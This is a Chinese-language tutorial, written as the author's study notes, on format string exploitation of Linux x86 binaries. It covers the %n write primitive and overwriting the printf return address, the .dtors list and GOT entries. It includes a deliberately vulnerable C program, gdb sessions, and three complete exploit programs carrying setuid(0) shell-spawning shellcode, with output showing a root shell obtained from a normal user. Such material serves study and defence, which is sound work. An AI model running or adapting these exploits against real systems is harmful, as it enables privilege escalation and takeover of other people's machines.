格式化字符串***笔记

No.1  [+== 格式化字符串***笔记 ==+]
[+== 格式化字符串***笔记 ==+]


[-== By Bytes[at]ph4nt0m.net ==-]

[#== HP: [url]http://www.ph4nt0m.net/[/url] ==#]

[data]:2004-03-01 ^_^

+\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\+

{0x01}.关于本文.

学习format strings attacking技术已经有一段时间了,期间作过屡次笔记,但因为一些缘由都比较凌
乱.最近上网成了难题,反而有时间认真的回顾一下(P.S.想学点东西,还真得少上网,上多了容易浮躁:),写下
此文,仅供往后本身参阅及方便和我同样的入门者.
阅读此文你必须有c/c++/asm语言基础,少量关于堆栈的知识.这将有助于你对于此文的理解.
因为本人水平有限,错误之处不免,还请不吝指出,顿首做谢:P

测试平台:Redhat 8.0
gcc version 3.2 20020903(Red Hat Linux 8.0 3.2-7)

{0x02}.背景知识.

Section[1].堆栈知识.
关于堆栈是一个抽象的概念,一般是内存中一个存储动态数据的区域.一般他是在内存的高端的.他的特
性就是咱们常说的,后进先出.对于一个被调用的函数,首先被压入堆栈的是它的参数,而后是EIP中的内容(常
说的RET),接着压入EBP,EBP一般指向栈底,而后把当前的ESP拷贝到EBP,最后ESP减去一个整数,这样堆栈就
被扩大了.关于堆栈细节请查阅其余文献.

附图示:

| EBP | EIP | arg...| data |...| EBP | EIP|


Section[2].漏洞成因.
此问题牵扯到*printf系列函数的两个主要特性:
(1)参数个数没法肯定.
在咱们使用*printf系列函数的时候,参数的个数天然是不固定的.好比咱们可能输出5个数据,也可能输
出三个,这个视具体状况而定.正常状况下,咱们输出5个数据的时候天然也对应地给出五个格式化说明符.如
果格式化说明符,和须要输出的相应数据一一对应,天然也就不存在格式化字符串***的问题.但若是出现如
下状况:
int x=2,y=3;
char *s="BBBB";
printf("x=%d y=%d s=%s %s",x,y,s);
这时候,就存在了格式化字符串的问题,总结一下,也就是当格式化说明符个数和待输出变量不对应的时候就
存在格式化字符串问题.
(2)%n格式符容许写入指定数据.
上面提到的例子基本上只能作到偷窥堆栈中数据,了解堆栈结构的目的.而和利用格式化字符串漏洞***
仍是有必定距离的,由于只能作"传说"中的read anywhere是没法改变程序流程的,不改变程序流程,就没法
让程序按照咱们的意愿执行下去.:)
可是很幸运*printf的%n格式化说明符它容许向后面一个存储单元写入前面输出数据的总长度,那么只
要前面输出数据的长度(这个长度的控制能够利用格式化说明符的特性,好比%.200d,这样咱们就能够控制输
出数据长度为200了,想象一下若是咱们用%f.呢?嗬嗬,堆栈地址当然很大,可是咱们应该能够构造足够的
%f....用来到达咱们须要改写的存储单元)等于咱们须要程序跳转到的那个地址(一般是shellcode+nop的区
域),而%n恰到好处的将这一地址写入适当位置,那么咱们就能够按照咱们的意愿改变程序流程了.:)
不过这里有一点须要注意,若是格式化字符串***时覆盖函数的返回地址,那么实际上咱们是去覆盖存储
这个函数返回地址的那块存储空间.也就是说咱们是间接的覆盖.这一点很重要,不能混淆.回想一下C语言的指
针.:)

{0x03}.漏洞利用.

目前比较经常使用的利用方法:
1)覆盖函数返回地址.
2)覆盖.dtors list
3)覆盖GOT
4)Return into libc

固然还有其余的一些方法,但由于我我的感受通用性略有不足,因此留待下次写补充的时候再详细写入笔记吧.

本文采用的一个存在问题的程序:(Thax:www417)

/*
fvul2.c:
Simple format strings Vulnerability program of snprintf
*/
#include

int main(int argc, char **argv)
{
char buf[100];
int x;
snprintf(buf,sizeof(buf),argv[1]);
buf[sizeof(buf)-1] = 0;
printf("buffer (%d):%s\n", strlen(buf), buf);
printf("x is %d hex is %#x (@ %p)\n", x, x, &x);
M return 0;
}


1)覆盖函数返回地址.

格式化字符串***中覆盖函数返回地址一般有两种选择:1.覆盖临近的一个函数(调用该函数的函数)的
返回地址.2.覆盖*printf()系列函数自身的返回地址.在这个例子中,两种方式都做了简单分析,而且给出覆
盖*prinf()系列函数自身返回地址的Exploit,这样当这个函数执行完毕返回的时候,就能够按照咱们的意愿
改变程序的流程了.使用这种技术的时候咱们须要知道如下几个信息:
1.堆栈中存储函数的返回地址的那个存储单元的地址.
2.shellcode的地址

写入的时候,因为不可能一次性的将2的地址写入1,咱们只能分两次来写.调试以下:

1.该例中为覆盖main()返回地址:
[root@Bytes-WorkStation t2]# gdb -q fvul2 #加载存在问题的程序
(gdb) b *main #main函数处设置断点
Breakpoint 1 at 0x804838c
(gdb) x/i main
0x804838c
: push %ebp
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB

Breakpoint 1, 0x0804838c in main ()
(gdb) x/wx $esp
0xbffff92c: 0x420158d4 #main函数返回地址存放在0xbffff92c处(正常状况下).这个
#地址里面存储的内容也就是咱们想要改写的.
(gdb)

依据上面阐述的原理,咱们利用精心构造的格式化说明符将shellcode的地址写入0xbffff92c,当main返回时
咱们的shellcode即可以执行.

2.覆盖*printf()系列函数自身的返回地址:
相较上面的利用方法,该利用方法具备更高的精确度,且即使是在条件至关苛刻的状况下也可使用.

[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) disass main
Dump of assembler code for function main:
0x804838c
: push %ebp
0x804838d : mov %esp,%ebp
0x804838f : sub $0x88,%esp
0x8048395 : and $0xfffffff0,%esp
0x8048398 : mov $0x0,%eax
0x804839d : sub %eax,%esp
0x804839f : sub $0x4,%esp
0x80483a2 : mov 0xc(%ebp),%eax
0x80483a5 : add $0x4,%eax
0x80483a8 : pushl (%eax)
0x80483aa : push $0x64
0x80483ac : lea 0xffffff88(%ebp),%eax
0x80483af : push %eax
0x80483b0 : call 0x80482cc
0x80483b5 : add $0x10,%esp #<---返回地址
0x80483b8 : movb $0x0,0xffffffeb(%ebp)
0x80483bc : sub $0x4,%esp
0x80483bf : lea 0xffffff88(%ebp),%eax
0x80483c2 : push %eax
0x80483c3 : sub $0x4,%esp
0x80483c6 : lea 0xffffff88(%ebp),%eax
0x80483c9 : push %eax
---Type to continue, or q to quit---
0x80483ca : call 0x804829c
0x80483cf : add $0x8,%esp
0x80483d2 : push %eax
0x80483d3 : push $0x8048448
0x80483d8 : call 0x80482bc
0x80483dd : add $0x10,%esp
0x80483e0 : lea 0xffffff84(%ebp),%eax
0x80483e3 : push %eax
0x80483e4 : pushl 0xffffff84(%ebp)
0x80483e7 : pushl 0xffffff84(%ebp)
0x80483ea : push $0x8048457
0x80483ef : call 0x80482bc
0x80483f4 : add $0x10,%esp
0x80483f7 : mov $0x0,%eax
0x80483fc : leave
0x80483fd : ret
0x80483fe : nop
0x80483ff : nop
End of assembler dump.
(gdb)
(gdb) b *0x80483b0 #<---snprintf入口地址
Breakpoint 1 at 0x80483b0
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB

Breakpoint 1, 0x080483b0 in main ()
(gdb) i reg $eax $esp $ebp
eax 0xbffff8b0 -1073743696
esp 0xbffff890 0xbffff890
ebp 0xbffff928 0xbffff928
(gdb) x/20x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x00000000 #<--- ***
0xbffff890: 0xbffff8b0 0x00000064 0xbffffab3 0x00000000
0xbffff8a0: 0x4212a364 0x00000369 0x4200dbb3 0x420069e8
0xbffff8b0: 0x4212a2d0 0xbffffa87 0xbffff974 0xbffff8f4
(gdb) si
0x080482cc in snprintf ()
(gdb) x/8x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x080483b5 #<---上面"***"处已经变为 0x080483b5
(gdb) x/wx 0xbffff88c
0xbffff88c: 0x080483b5
(gdb)

也就是说0xbffff880+c=0xbffff88c是存放snprintf返回地址的地方.固然咱们能够更直白一些:
[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) x/i snprintf
0x80482cc : jmp *0x8049578
(gdb) b *0x80482cc
Breakpoint 1 at 0x80482cc
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB

Breakpoint 1, 0x080482cc in snprintf ()
(gdb) x/wx $esp
0xbffff88c: 0x080483b5 #<---snprintf的返回地址

大虾alert7总结过一个计算Linux平台*printf()自身返回地址的公式:返回地址 = 格式化字符串地址 - 垃圾数据个数 * 4 - 8.
由此不可贵出exploit,下面给出个人exploit模板:
/*
exp1.c

Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net
Thax alert7'code.^_^
Notice:
rewrite snprintf() ret_addr.
*/
#include
#include

#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0xbffff88c
//#define shellcode_addr 0xbffff950

/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


int main(void){

char buffer[BUF_S],Buffer[BUF_S * 2],*p;
unsigned Use_addr;
int i,j,ret_1,ret_2;

Use_addr = want_to_w_addr +100;
ret_1 = (Use_addr >> 16) & 0xffff;
ret_2 = (Use_addr >> 0) & 0xffff;
/*因为咱们不能一次将地址写入,因此咱们只能分开两部分写入.*/
memset(buffer,NOP,sizeof(buffer));
memset(buffer,'B',4);
for(i=0;i < 4;i++){
buffer[i+4] = ((want_to_w_addr+2) >> (i * 8))`& 0xff;
}

memset(buffer,'B',4);
for(j=0;j < 4;j++){
buffer[i+4+j] = ((want_to_w_addr) >> (i * 8)) & 0xff;
}
p = &buffer[8];

if(ret_1 < ret_2){

sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_1 - 8,ret_2 - ret_1);
}else{
sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_2 - 8,ret_1 - ret_2);
}
sprintf(Buffer,"%s%s",buffer,shellcode);
execle("./fvul2","fvul2",Buffer, NULL,NULL);
}


下面咱们来看看结果
[root@Bytes-WorkStation t2]# gcc -o exp1 exp1.c
[root@Bytes-WorkStation t2]# ./exp1
Segmentation fault

呼呼,目标程序因为段错误挂掉了,回头仔细想一想到底是什么缘由呢?看过alert7前辈<<利用格式化串覆盖*printf()系列函数自己的返回地址>>一文的朋
友必定会想到多是execle()函数在做怪,但这里其实不只仅是那个缘由,个人exp犯了一个原则性的错误,细心的话应该注意到,本文所使用的那个存在漏
洞的例程的:char buf[100];这个地方,而咱们的exp中,构造的buffer却要比这个大许多,这样致使了stack溢出,天然就不能让程序正常执行下去了,呼
呼,实际上,实战状态下大多数状况目标程序是没有那么大的地方容许咱们放置咱们传递的buffer的,不是目标程序buffer大小的问题,而是一般会对输入
的数据进行一些检测.这里提一个技巧,即对于本地format string能够把shellcode放去环境变量,稍微改动上面的程序就能够了.exp.c就不贴出来了.
但愿看到这个文档的朋友本身动手试试看---small buffer format string attacking...外面的资料也不少.



2)覆盖.dtors list
若是你还不明白什么是ELF的.dtors的话,那么我建议你仔细的阅读有关ELF文件格式的文档.你能够在网络中搜索到不少.这里仅就相关内容简单的提
一下.实际上.dtors的做用一句话就能够表述出来(细节固然也并不是这么简单),也就是该表中的内容将在main返回的时候被执行.固然咱们利用format
string漏洞进行***rewrite的是内存映像的.dtors(或许这么表达不是很准确,但也就这个意思).
默认编译的ELF文件都是有这个字段的,除非被strip去掉了.因此这个方法仍是更为行之有效的.***过程的思路很简单,就是利用format string漏洞
write to anywhere的特色,直接把咱们shellcode的地址写入.dtors,"shellcode的地址"能够是一个有效的范围,咱们的shellcode位于其中,而后用
NOP填充满,这样能够有效的提升精确度,而且能够考虑把shellcode放入环境变量,这样精度更高,且限制更少.:)


[root@Bytes-WorkStation t2]# objdump -s -j .dtors fvul2

fvul2: file format elf32-i386

Contents of section .dtors:
8049554 ffffffff 00000000 ........

咱们能够看到.dtors list 入口地址为:0x8049554,咱们须要覆盖的就是0xffffffff所占据的存储单元,也就是0x8049554+4 = 0x8049558这个地址.
由此给出个人Exploit模版:



/*
exp2.c

Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net

Notice:
rewrite .dtors.
put shellcode into environment variabel
*/
#include
#include

#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049558 /* .dtors addr = 0x8049554+4 */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 这个和Stack溢出的一个处理方法同样,我是把它放到环境变量里面的,我感受这样子

成功率会高一点,这个地址能够没必要太准确,猜个大体就能够了,理论上你把Buffer定义越大,这个地址越能够不许确,嘿嘿^_^*/



/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";




int main(void){

char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];

addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);

high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);

memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);

memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));

if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);

}else{

sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*里面关于垃圾数据的长度可能须要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}


测试一下:
[root@Bytes-WorkStation t2]# gcc -o exp2 exp2.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp2
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit

成功了,a rootshell.:)


3)覆盖GOT
若是你还不明白什么是ELF的GOT的话,那么我建议你仔细的阅读有关ELF文件格式的文档.你能够在网络中搜索到不少.这里仅就相关内容简单的提
一下.GOT即global offset table全局偏移表,与PLT有着紧密的关联.动态链接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个
ELF被加载的时候,才会把那些动态函库数代码加载进来,以前系统只会在ELF文件中的GOT中保留一个调用地址.其余相关细节请自行查阅相关文献.
***思路已经很明显了:

[root@Bytes-WorkStation t2]# objdump -R fvul2

fvul2: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804957c R_386_GLOB_DAT __gmon_start__
0804956c R_386_JUMP_SLOT strlen
08049570 R_386_JUMP_SLOT __libc_start_main
08049574 R_386_JUMP_SLOT printf
08049578 R_386_JUMP_SLOT snprintf

这里我选择覆盖printf()在GOT中的地址也就是0x8049574.Exp则修改上面的exp2便可.


个人Exploit模版以下:

/*
exp3.c

Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net

Notice:
rewrite global offset table: &printf
put shellcode into environment variabel
*/
#include
#include

#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049574 /* printf() GOT addr */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 这个和Stack溢出的一个处理方法同样,我是把它放到环境变量里面的,我感受这样子

成功率会高一点,这个地址能够没必要太准确,猜个大体就能够了,理论上你把Buffer定义越大,这个地址越能够不许确,嘿嘿^_^*/



/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";




int main(void){

char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];

addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);

high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);

memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);

memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));

if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);

}else{

sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +

2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*里面关于垃圾数据的长度可能须要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}


测试一下:
[root@Bytes-WorkStation t2]# gcc -o exp3 exp3.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp3
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit

比较覆盖.dtors的exp和覆盖GOT的exp测试结果咱们能够发现这两种技术的不一样之处,也就是获取rootshell的"时机"(请原谅我含糊的表述:( )不一样.具
体说来就是覆盖.dtors的exp执行的时候,输出为:
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
这说明咱们的shell至少是在那两条printf语句以后执行的,实质上是在main结束之后,这里就体现了覆盖.dtors的局限性,以本文例程为例,若是程序在
执行两条printf()语句之后丢弃了root特权,那么咱们是没法获得rootshell.而由覆盖GOT的exp的输出信息可知,因为咱们选择覆盖printf在GOT中的
地址,程序试图加载printf的代码的时候,就"不幸"执行了咱们的shellcode,致使程序流程按照咱们的意愿被改变(真正的printf并无被执行).由此看
来若是能够覆盖GOT,那么覆盖GOT则更有优点,由于咱们能够尽量的选择覆盖程序丢弃root特权以前的函数位于GOT中的地址,这样既即是程序中途丢弃
root特权,咱们依然能够获得rootshell.

_EOF


{0x04}.其它.

A.感谢:OYxin,Winewind,www417,Luz成文过程当中给予的帮助和鼓励.特别感谢※上弦の月※×××帮我纠正了文中错别字:P

B.附:
本来打算把4)Return into libc也写入本篇笔记,可是考虑到Return into libc某些时候和绕过系统补丁***关联密切,故留待下篇总结format
string***技巧,绕过系统补丁,经验体会等等的笔记中再写.


{0x05}.参考文献:

< >En version
<<利用格式化串覆盖*printf()系列函数自己的返回地址>>
< >En version
< >
< >EN version 以前阅读过许许多多的文章,在此仅列出对我帮助最大的.抱歉.:)
相关文章
相关标签/搜索